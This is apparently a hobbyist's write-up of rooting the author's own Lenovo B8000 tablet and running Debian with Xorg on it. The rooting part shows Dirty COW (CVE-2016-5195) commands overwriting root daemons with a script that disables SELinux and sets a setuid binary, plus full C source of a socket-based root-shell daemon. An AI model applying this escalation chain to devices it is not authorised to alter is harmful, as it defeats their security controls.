Debian on the Lenovo B8000

We do what we must, because we can. After four other tablet builds, surely the Lenovo B8000 would be more of the same. But no! Exciting adventures await those who come to XDADevelopers only once all the Mega links (and other, less trustworthy binaries) have expired / been superseded by device updates:

shell@B8000:/ $ ls -laR 2>/dev/null | grep '^.rws'

Hrm, nothing :( There is seriously not a single discoverable setuid binary on the entire system.

Well then, let's get serious. Didn't play CTFs for nothing, I hope.

shell@B8000:/ $ cat /proc/version
Linux version 3.4.67 (buildslave@bjws08) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Thu Jan 8 00:51:23 CST 2015

So let's check this wonderful collection of available ways to root. Initially, I thought CVE-2015-6619 looked promising, but ultimately I found with CVE-2016-5195 a reliable and safe exploit.

As I don't have a method to flash from the fallback ROM (there are allegedly Windows tools, but no, just no), I'd rather not do permament modifications to any system setups which could interfere with the boot process up to adb.

So, CVE-2016-5195 is a race-condition between copy-on-write and page-in from storage when a page was ejected from the page cache and was fixed on 2016-10-13, i.e. in particular after the kernel has been build.

This is ideal for my "don't want to brick" situation, because the exploit "only" touches the page-cache, i.e. what the kernel *thinks* is on the disk. But it will all be gone after a reboot.

The first idea was to patch /system/bin/bootanimation real fast during boot. However, that did not work, either because "real fast" was in fact not or the bootanimation on the B8000 is not executed as root.

So, let's check other targets:

shell@B8000:/ $ ps | grep root
...
root      298   2     0      0     ffffffff 00000000 S pvr_workqueue
root      722   2     0      0     ffffffff 00000000 S ksdioirqd/mmc2
root      747   2     0      0     ffffffff 00000000 S tx_thread
root      1760  1     1772   540   ffffffff 00000000 S /system/bin/debuggerd
root      1812  1     9920   1116  ffffffff 00000000 S /system/bin/netd
...

How about patching one of those auto-restarted daemons with binaries in /system/bin?

However, I am a lazy hacker, and building a binary-level exploit including an ARM nop-sled to catch $pc as it went didn't seem very attractive or reliable. In an ideal world, I'd just patch a shell script and get execution to restart from beginning (thank you init).

After some fiddling around, it was clear I could get debuggerd to start as root, if some other process crashed (e.g. because someone just hard-replaced executable pages...)

shell@B8000:/data/local/tmp $ cat enable-su.sh
#!/system/bin/sh

if [ $(getenforce) = "Enforcing" ]; then
        /system/bin/setenforce 0 
        chown root:shell /data/local/tmp/run-as
        chmod 4777 /data/local/tmp/run-as
        mount -o remount,suid /data
fi

shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/debuggerd
shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/netd

shell@B8000:/data/local/tmp $ ls -la
-rwx------ shell    shell       17880 2021-01-19 21:52 dirtycow
-rwxrwxrwx shell    shell         194 2021-01-19 23:04 enable-su.sh
-rwsrwxrwx root     shell        5544 2021-01-19 21:52 run-as
shell@B8000:/data/local/tmp $ getenforce
Permissive

Nice. But I'd rather not remount,rw /system at this point (and risk the kernel realizing it has dirty pages to write back...), because that netd was probably useful and we'll need it later. So let's back it up first.

shell@B8000:/data/local/tmp $ cp /system/bin/netd netd.orig                    
shell@B8000:/data/local/tmp $ cp /system/bin/debuggerd debuggerd.orig                    
shell@B8000:/data/local/tmp $ sync
shell@B8000:/data/local/tmp $ reboot

(Better make sure this is really there.)

shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/debuggerd
shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/netd
shell@B8000:/data/local/tmp $ ./run-as
shell@B8000:/data/local/tmp # id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

shell@B8000:/data/local/tmp # mount -o remount,rw /system
mount: Operation not permitted
255|shell@B8000:/data/local/tmp # getenforce
Permissive

WTF.

shell@B8000:/data/local/tmp # cat /proc/$$/status
SigQ:   0/7900
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000380000
SigCgt: 000000000801f4ff
CapInh: 0000000000000000
CapPrm: ffffffe0000000c0
CapEff: ffffffe0000000c0
CapBnd: ffffffe0000000c0
Cpus_allowed:   f
Cpus_allowed_list:      0-3
voluntary_ctxt_switches:        23
nonvoluntary_ctxt_switches:     5

Ok, how paranoid can a setup actually be?

But surely, there is a way. I checked the capabilities of the debuggerd, and they are all set, i.e. available.

So, maybe if we give the run-as binary extra capabilities via the extendend file-system attributes?

Of course there is is no libcap available during android builds, but there is source somewhere.

After trying for waaaay to long to use _L_LINUX_CAPABILITY_VERSION_2 as the VFS capability magic number, I finally figured I need VFS_CAP_REVISION_2 instead (which is deprecated according to my header, but was correct when the kernel was build). This worked, but it seems I had not read the fine-print on how file-capabilities interact with set-uid 0 binaries. :(

They cannot escape the capabilities bound. But anyway, one evening well-spent researching the innards of how the extended attributes "security.capabilities" is encoded. Spoiler: Not prettily.

Next plan: Do it like Magisk, launch a su-granting daemon to which we will pass adb's stdio/out/err via UNIX domain sockets but which can fork from a full-capabilities process.

So let's "quickly" (well, it took a few hours and iterations) slap together something along those lines (using the same build setup which came with the original dirtycow-PoC code):

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/un.h>
#include <sys/ioctl.h>
#include <sys/stat.h>

#include <dlfcn.h>
#include <fcntl.h>

#undef DEBUG
#undef PRINT

#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...)
#endif

#define SOCKET_PATH "/data/local/tmp/su.sock"

//reduce binary size
char __aeabi_unwind_cpp_pr0[0];

struct sockaddr_un SOCKET_ADDR = {
        .sun_family = AF_UNIX,
        .sun_path = SOCKET_PATH,
};

void suDaemon() {
        int daemonPid = fork();
        if(daemonPid == -1) {
                LOGV("daemon fork() failed: %s", strerror(errno));
                return;
        }

        if(daemonPid > 0) return;

        for(int i = 0; i < 9999; ++i) {
                close(i);
        }

        daemonPid = fork();
        if(daemonPid == -1) {
                LOGV("daemon fork() failed: %s", strerror(errno));
                return;
        }

        if(daemonPid > 0) return;

        int ttyFd = open("/dev/tty", O_RDWR);
        if(ttyFd == -1) {
                LOGV("open() /dev/tty fork() failed: %s", strerror(errno));
        }
        if(ioctl(ttyFd, TIOCNOTTY, NULL) == -1) {
                LOGV("tty detach failed: %s", strerror(errno));
        }

        if(setpgid(getpid(), 0) == -1) {
                LOGV("setpgid() failed: %s", strerror(errno));
        }

        int sockFd = socket(AF_UNIX, SOCK_SEQPACKET, 0);
        if(sockFd == -1) {
                LOGV("socket() failed: %s", strerror(errno));
                return;
        }

        if(unlink(SOCKET_PATH) == -1) {
                LOGV("unlink() failed: %s", strerror(errno));
        }

        if(bind(sockFd, (struct sockaddr *)&SOCKET_ADDR, sizeof(SOCKET_ADDR)) == -1) {
                LOGV("bind() failed: %s", strerror(errno));
                return;
        }

        // This bit was originally missing, but left here for easy-copy-n-paste
        if(chmod(SOCKET_PATH, 0777) == -1) {
                LOGV("chmod() on socket failed: %s", strerror(errno));
                return;
        }

        if(listen(sockFd, 8) == -1) {
                LOGV("listen() failed: %s", strerror(errno));
                return;
        }

        int conFd = -1;

        while(1) {
                // Wait for earlier children
                while(1) {
                        int wstatus;
                        int pid = waitpid(-1, &wstatus, WNOHANG);
                        if(pid == -1) {
                                LOGV("waitpid() failed: %s", strerror(errno));
                                break;
                        }
                        if(pid == 0) {
                                break;
                        }
                }

                LOGV("daemon ready to accept()");
                conFd = accept(sockFd, NULL, 0);
                if(conFd == -1) {
                        LOGV("accept() failed: %s", strerror(errno));
                        continue;
                }

                LOGV("accepted. conFd: %d", conFd);

                int childPid = fork();
                if(childPid == -1) {
                        LOGV("fork() failed: %s", strerror(errno));
                        if(close(conFd) == -1) {
                                LOGV("close() failed: %s", strerror(errno));
                        }
                        continue;
                }

                if(childPid == 0) {
                        break;
                }

                if(close(conFd) == -1) {
                        LOGV("close() failed: %s", strerror(errno));
                }
        }

        LOGV("in child, conFd: %d", conFd);

        char iovbuf;
        struct cmsghdr *cmsg;

        struct iovec iov = {
                .iov_base = &iovbuf,
                .iov_len  = 1,
        };

        int receivedFds[3];
        char cmsgbuf[CMSG_SPACE(sizeof(receivedFds))];

        struct msghdr msg = {
                .msg_iov        = &iov,
                .msg_iovlen     = 1,
                .msg_control    = cmsgbuf,
                .msg_controllen = sizeof(cmsgbuf),
        };

        if(recvmsg(conFd, &msg, MSG_WAITALL) == -1) {
                LOGV("recvmsg() failed in daemon: %s", strerror(errno));
                exit(-1);
        }

        // Was a control message actually sent?
        switch (msg.msg_controllen) {
                case 0:
                        LOGV("No control message received, exiting");
                        exit(1);
                case sizeof(cmsgbuf):
                        // Yes, grab the file descriptor from it.
                        break;
                default:
                        LOGV("unable to receive fds\n");
                        exit(-1);
        }

        cmsg = CMSG_FIRSTHDR(&msg);

        if (cmsg             == NULL                  ||
                        cmsg->cmsg_len   != CMSG_LEN(sizeof(receivedFds)) ||
                        cmsg->cmsg_level != SOL_SOCKET            ||
                        cmsg->cmsg_type  != SCM_RIGHTS) {
                LOGV("unable to extract fds\n");
                exit(-1);
        }

        memcpy(receivedFds, CMSG_DATA(cmsg), sizeof(receivedFds));

        LOGV("Got fds, %d %d %d", receivedFds[0], receivedFds[1], receivedFds[2]);

        char shell[4096];
        char command[4096];

        int shellLen = read(conFd, shell, sizeof(shell) - 1);
        if(shellLen < 0) {
                LOGV("failed to read shell: %s", strerror(errno));
        } else {
                shell[shellLen] = '\0';
        }
        if(!shellLen) {
                strcpy(shell, "/system/bin/sh");
                shellLen = strlen(shell);
        }

        int commandLen = read(conFd, command, sizeof(command) - 1);
        if(commandLen < 0) {
                LOGV("failed to read command: %s", strerror(errno));
        } else {
                command[commandLen] = '\0';
        }

        int shellPid = fork();
        if(shellPid == -1) {
                LOGV("su fork() failed: %s", strerror(errno));
        }
        if(shellPid == 0) {
                // Move the FDs out of the 0-2 range
                int stdinBackup = dup(receivedFds[0]);
                if(stdinBackup == -1) {
                        LOGV("dup() [0] failed: %s", strerror(errno));
                }

                int stdoutBackup = dup(receivedFds[1]);
                if(stdoutBackup == -1) {
                        LOGV("dup() [1] failed: %s", strerror(errno));
                }

                int stderrBackup = dup(receivedFds[2]);
                if(stderrBackup == -1) {
                        LOGV("dup() [2] failed: %s", strerror(errno));
                }

                close(receivedFds[0]);
                close(receivedFds[1]);
                close(receivedFds[2]);

                if(dup2(stdinBackup, STDIN_FILENO) == -1) {
                        LOGV("dup2() [0] failed: %s", strerror(errno));
                        exit(-1);
                }
                if(dup2(stdoutBackup, STDOUT_FILENO) == -1) {
                        LOGV("dup2() [1] failed: %s", strerror(errno));
                        exit(-1);
                }
                if(dup2(stderrBackup, STDERR_FILENO) == -1) {
                        LOGV("dup2() [2] failed: %s", strerror(errno));
                        exit(-1);
                }

                close(stdinBackup);
                close(stdoutBackup);
                close(stderrBackup);

                LOGV("ready to execute shell");

                int execRet;

                if(commandLen) {
                        char *shellArgv[] = {
                                shell,
                                "-c",
                                command,
                                NULL,
                        };
                        execRet = execvp(shell, shellArgv);
                } else {
                        char *shellArgv[] = {
                                shell,
                                NULL,
                        };
                        execRet = execvp(shell, shellArgv);
                }

                LOGV("shell exec failed: %s", strerror(errno));
                exit(1);
        }

        LOGV("waiting for shell completion");
        int waitRet = waitpid(shellPid, NULL, 0);
        if(waitRet == -1) {
                LOGV("waitpid() on shell failed: %s", strerror(errno));
        }

        LOGV("shell completed");
        close(conFd);
        exit(0);
}

int suClient(int argc, const char **argv) {
        const char *shell = "";
        const char *command = "";

        for(int i = 1; i < argc; ++i) {
                if(!strcmp(argv[i], "-s") && i + 1 < argc) {
                        shell = argv[i + 1];
                }
                if(!strcmp(argv[i], "-c") && i + 1 < argc) {
                        command = argv[i + 1];
                }
        }

        int sockFd = socket(AF_UNIX, SOCK_SEQPACKET, 0);
        if(sockFd == -1) {
                LOGV("socket() failed: %s", strerror(errno));
                return 1;
        }

        if(connect(sockFd, (struct sockaddr *)&SOCKET_ADDR, sizeof(SOCKET_ADDR)) == -1) {
                LOGV("connect() failed: %s", strerror(errno));
                return 1;
        }

        struct msghdr msg = { 0 };
        struct cmsghdr *cmsg;
        int sendingFds[3] = {
                STDIN_FILENO,
                STDOUT_FILENO,
                STDERR_FILENO
        };
        char iobuf[1];
        struct iovec io = {
                .iov_base = iobuf,
                .iov_len = sizeof(iobuf)
        };
        union {         /* Ancillary data buffer, wrapped in a union
                           in order to ensure it is suitably aligned */
                char buf[CMSG_SPACE(sizeof(sendingFds))];
                struct cmsghdr align;
        } u;

        LOGV("client entered");

        msg.msg_iov = &io;
        msg.msg_iovlen = 1;
        msg.msg_control = u.buf;
        msg.msg_controllen = sizeof(u.buf);

        cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;
        cmsg->cmsg_len = CMSG_LEN(sizeof(sendingFds));
        memcpy(CMSG_DATA(cmsg), sendingFds, sizeof(sendingFds));

        if(sendmsg(sockFd, &msg, 0) == -1) {
                LOGV("sendmsg() failed: %s", strerror(errno));
                return 1;
        }

        msg.msg_iov = &io;
        msg.msg_iovlen = 1;
        msg.msg_control = NULL;
        msg.msg_controllen = 0;

        if(write(sockFd, shell, strlen(shell)) != strlen(shell)) {
                LOGV("sending shell failed: %s", strerror(errno));
        }
        if(write(sockFd, command, strlen(command)) != strlen(command)) {
                LOGV("sending command failed: %s", strerror(errno));
        }

        signal(SIGINT, SIG_IGN);

        while(1) {
                int recvLen = recvmsg(sockFd, &msg, MSG_WAITALL);
                if(recvLen == -1) {
                        LOGV("recvmsg() failed client: %s", strerror(errno));
                        return 1;
                }
                
                if(recvLen == 0) {
                        break;
                }

                LOGV("unexpected recvmsg() data");
        }

        LOGV("client completed");
        return 0;
}

int main(int argc, const char **argv)
{
	LOGV("uid %s %d", argv[0], getuid());

        if(argc == 2 && !strcmp(argv[1], "--daemon")) {
                suDaemon();
                return 0;
        }

        return suClient(argc, argv);
}

I learned two additional new things:
1. SCM_RIGHTS is able to pass multiple file descriptors in one go.
2. SOCK_SEQPACKET does one-by-one deliveries of fixed-length packets (see me fearlessly write(2)-ing two strings into the same socket without any length data).

And, let's go:

shell@B8000:/data/local/tmp $ ./dirtycow start-su.sh /system/bin/debuggerd
shell@B8000:/data/local/tmp $ ./dirtycow start-su.sh /system/bin/netd
shell@B8000:/data/local/tmp $ /data/local/tmp/su
uid /data/local/tmp/su 2000
connect() failed: Permission denied
1|shell@B8000:/data/local/tmp $ ls -la su.sock                                 
srwx------ root     root              2021-01-20 23:13 su.sock

Yeah, ok... (see comment on chmod in the code above).

And after some further detail fixes, finally

id
uid=0(root) gid=0(root) context=u:r:aee_aed:s0
cat /proc/$$/status
Name:   sh
...
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff

Success! (It actually looked like that without prompt, because I initially mangled stderr while dup2(2)-ing like crazy.)

Now towards actually using the device. Where can we control the panel backlight?

pwd
/sys/class/leds/lcd-backlight

Unfortunately,

dd if=/dev/urandom of=/dev/fb0

did not give me random noise on the screen.

But maybe we just to setup the framebuffer right and a real Xorg would do it...

So, copy over the debian-jessie from another tablet via SimpleSSHd:

root@otherTablet # rsync -azHvD -P -e 'ssh -p 2222' --exclude '/run/*' --exclude '/proc/*' --exclude '/sys/*' --exclude '/sdcard/*' --exclude '/dev/pts/*' / root@192.168.2.118:/data/debian-jessie

(This is btw. the reason to support -s and -c within the su binary above: Otherwise SimpleSSHd cannot pass the rsync invocations into the shell correctly.)

Trying Xorg:

Fatal server error:
(EE) xf86OpenConsole: Cannot open virtual console 1 (No such device or address)

No /dev/tty1, ok. Let's reuse /dev/ttyGS0 as on some other tablet.

b8000 /dev % mknod tty1 c 232 0
(II) Using input driver 'evdev' for 'Mouse0'
(**) Mouse0: always reports core events
(**) evdev: Mouse0: Device: "/dev/input/event3"
(II) evdev: Mouse0: Using mtdev for this device
Xorg: symbol lookup error: /usr/lib/xorg/modules/input/evdev_drv.so: undefined symbol: mtdev_new_open

Interesting that this ever worked... anyway, extended the xf86-input-evdev backport from the other tablet:

yolo.so:
        gcc \
                -DMULTITOUCH -DPACKAGE_VERSION_MAJOR=2 -DPACKAGE_VERSION_MINOR=9
 -DPACKAGE_VERSION_PATCHLEVEL=2 \
                -I src -I include -I /usr/include/libevdev-1.0 -I /usr/include/x
org -I /usr/include/pixman-1 \
                -fPIC -lmtdev -levdev -shared -o yolo.so src/*.c

install: yolo.so
        cp yolo.so /usr/lib/xorg/modules/input/evdev_drv.so

.PHONY: yolo.so install
b8000 /root/xf86-input-evdev % make install
gcc \
        -DMULTITOUCH -DPACKAGE_VERSION_MAJOR=2 -DPACKAGE_VERSION_MINOR=9 -DPACKAGE_VERSION_PATCHLEVEL=2 \
        -I src -I include -I /usr/include/libevdev-1.0 -I /usr/include/xorg -I /usr/include/pixman-1 \
        -fPIC -lmtdev -levdev -shared -o yolo.so src/*.c
cp yolo.so /usr/lib/xorg/modules/input/evdev_drv.so

After adding another bootanimation stop (whyever it restarted once) this should work now:

setprop ctl.stop media
setprop ctl.stop zygote
sleep 1
setprop ctl.stop bootanim
sleep 1
setprop ctl.stop bootanim

mount -o remount,rw /system
mount -t proc proc /data/debian-jessie/proc
mount -t sysfs sysfs /data/debian-jessie/sys
mount -t devpts devpts /data/debian-jessie/dev/pts
mount -o bind /storage/emulated/legacy /data/debian-jessie/sdcard
mount -o remount,rw,suid,dev /data

And, we have a working Xorg server!

Finally some convenience:

root@B8000:/system/xbin # ln -s /data/local/tmp/su su

Next up: Is there any way whatsoever to get this touchscreen sensitivity up? It is rather unwholesome. Events in /dev/input/event3 are already flaky, so it's not the case that we get them filtered down to "real touches" somewhere in the X server. (btw. /dev/event0 is hardware buttons as everywhere I have checked so far).

b8000 /sys/devices % find | grep input
b8000 /sys/devices/platform % find | vim -

This is the touchscreen driver, apparently: https://android.googlesource.com/kernel/mediatek/+/android-mediatek-sprout-3.4-kitkat-mr2/drivers/input/touchscreen/mediatek/mtk_tpd.c

Nice, a debug log device? https://android.googlesource.com/kernel/mediatek/+/android-mediatek-sprout-3.4-kitkat-mr2/drivers/input/touchscreen/mediatek/tpd_debug.c#338

b8000 ..tpd_debug/parameters % pwd
/sys/module/tpd_debug/parameters
b8000 ..tpd_debug/parameters % ls
tpd_debug_nr    tpd_em_log        tpd_log_line_buffer
tpd_debug_time  tpd_em_log_to_fs  tpd_log_line_cnt
tpd_debuglog    tpd_fail_count    tpd_trial_count

No success. All useful-looking parameters from the source (there are more) seem ultimately unused :(

At least I learned one can modify module parameters during run-time via those paths (and crash the system, I think by overflowing the tpd_em_log).

While testing various touchscreen stuff, I also notice a new (i.e. not seen on the other tablets) Xorg problem: Red and blue channel are switched.

Using the same technique as on the SM-T113, we can probably intercept the framebuffer query and fix the wrong kernel answer about channel bitmasks:

b8000 /root % gdb Xorg
(gdb) break ioctl
Function "ioctl" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y

Breakpoint 1 (ioctl) pending.
...
(II) FBDEV: driver for framebuffer: fbdev
(++) using VT number 1
Breakpoint 1, ioctl () at ../sysdeps/unix/syscall-template.S:82
82      ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) print /x $r1
$4 = 0x5603
(gdb) cont
Continuing.
[tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device]
(WW) xf86OpenConsole: VT_GETSTATE failed: Invalid argument
(WW) Falling back to old probe method for fbdev
(II) Loading /usr/lib/xorg/modules/libfbdevhw.so
[tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device]
[tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device]
(II) Module fbdevhw: vendor="X.Org Foundation"
        compiled for 1.16.4, module version = 0.0.2
(II) FBDEV(0): using /dev/fb0
(WW) VGA arbiter: cannot open kernel arbiter, no multi-card support

Breakpoint 1, ioctl () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
(gdb) print /x $r1
$5 = 0x4602
(gdb) cont
Continuing.
[tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device]

Breakpoint 1, ioctl () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
(gdb) print /x $r1
$6 = 0x4600
(gdb) print /x $r2
$7 = 0x2a19a180
(gdb) stepi
[tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device]
0xb6cda10e      82      in ../sysdeps/unix/syscall-template.S
(gdb) 
[tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device]
0xb66bd932 in fbdevHWInit () from /usr/lib/xorg/modules/libfbdevhw.so
(gdb) x /20lx 0x2a19a180
0x2a19a180:     0x00000500      0x00000320      0x00000500      0x00000960
0x2a19a190:     0x00000000      0x00000000      0x00000020      0x00000000
0x2a19a1a0:     0x00000000      0x00000008      0x00000000      0x00000008
0x2a19a1b0:     0x00000008      0x00000000      0x00000010      0x00000008
0x2a19a1c0:     0x00000000      0x00000018      0x00000008      0x00000000
(gdb) set *(int *)(0x2a19a1a0) = 0x10 
(gdb) set *(int *)(0x2a19a1b8) = 0x0 
(gdb) x /20lx 0x2a19a180
0x2a19a180:     0x00000500      0x00000320      0x00000500      0x00000960
0x2a19a190:     0x00000000      0x00000000      0x00000020      0x00000000
0x2a19a1a0:     0x00000010      0x00000008      0x00000000      0x00000008
0x2a19a1b0:     0x00000008      0x00000000      0x00000000      0x00000008
0x2a19a1c0:     0x00000000      0x00000018      0x00000008      0x00000000
(gdb) disable 1
(gdb) cont

Yes. So a straightforward patching after the FBIOGET_VSCREENINFO ioctl will be all we need...

b8000 /root % cat xorg-ioctls.c
// gcc -fPIC -shared -o xorg-ioctls.so xorg-ioctls.c -ldl

#define _GNU_SOURCE
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stddef.h>
#include <linux/fb.h>

static int(*ioctl_orig)(int, unsigned long, ...) = NULL;

int ioctl(int fd, unsigned long request, void *a, void *b, void *c, void *d, void *e) {
        if(!ioctl_orig) {
                ioctl_orig = dlsym(RTLD_NEXT, "ioctl");
        }

        int ret = ioctl_orig(fd, request, a, b, c, d, e);

        if(request == FBIOGET_VSCREENINFO) {
                struct fb_var_screeninfo *info = a;

                info->red.offset = 0x10;
                info->blue.offset = 0;
        }

        return ret;
}
b8000 /root % cat X.sh
#!/bin/sh

LD_PRELOAD=/root/xorg-ioctls.so Xorg -sharevts -noreset -retro -verbose vt1

And done.

For completeness, here is the xorg.conf:

b8000 / % cat /etc/X11/xorg.conf 
Section "ServerLayout"
  Identifier "Layout0"
  Screen   "Screen0"
  InputDevice "Mouse0" "CorePointer"
  InputDevice "Keyboard0" "CoreKeyboard"
EndSection

Section "InputDevice"
  Identifier  "Keyboard0"
  Driver   "evdev"
  Option  "Device" "/dev/input/event1"
  Option  "Protocol" "usb"
EndSection

Section "InputDevice"
  Identifier "Mouse0"
  Driver  "evdev"
  Option  "Device" "/dev/input/event3"
  Option  "IgnoreRelativeAxes" "true"
  Option  "IgnoreAbsoluteAxes" "false"
  Option  "Mode" "Absolute"
EndSection

Section "Device"
  Identifier "Card0"
  Driver  "fbdev"
  Option  "fbdev" "/dev/fb0"
  Option  "debug" "true"
  VendorName "Unknown"
  BoardName "Unknown"
EndSection

Section "Screen"
  Identifier  "Screen0"
  Device  "Card0"
  Monitor "Monitor0"
  SubSection      "Display"
    Modes   "1280x800"
  EndSubSection
EndSection

Section "Monitor"
  Identifier "Monitor0"
  Mode "1280x800"
      # D: 64.000 MHz, H: 44.444 kHz, V: 54.003 Hz
      DotClock 64.001
      HTimings 1280 1328 1360 1440
      VTimings 800 802 808 823
      Flags    "-HSync" "-VSync"
  EndMode
EndSection

Section "ServerFlags"
  Option "AutoAddDevices" "false"
EndSection

Integration into the multi-monitor setup went uneventfully (except the pressure to automate the coordinate calculations increased).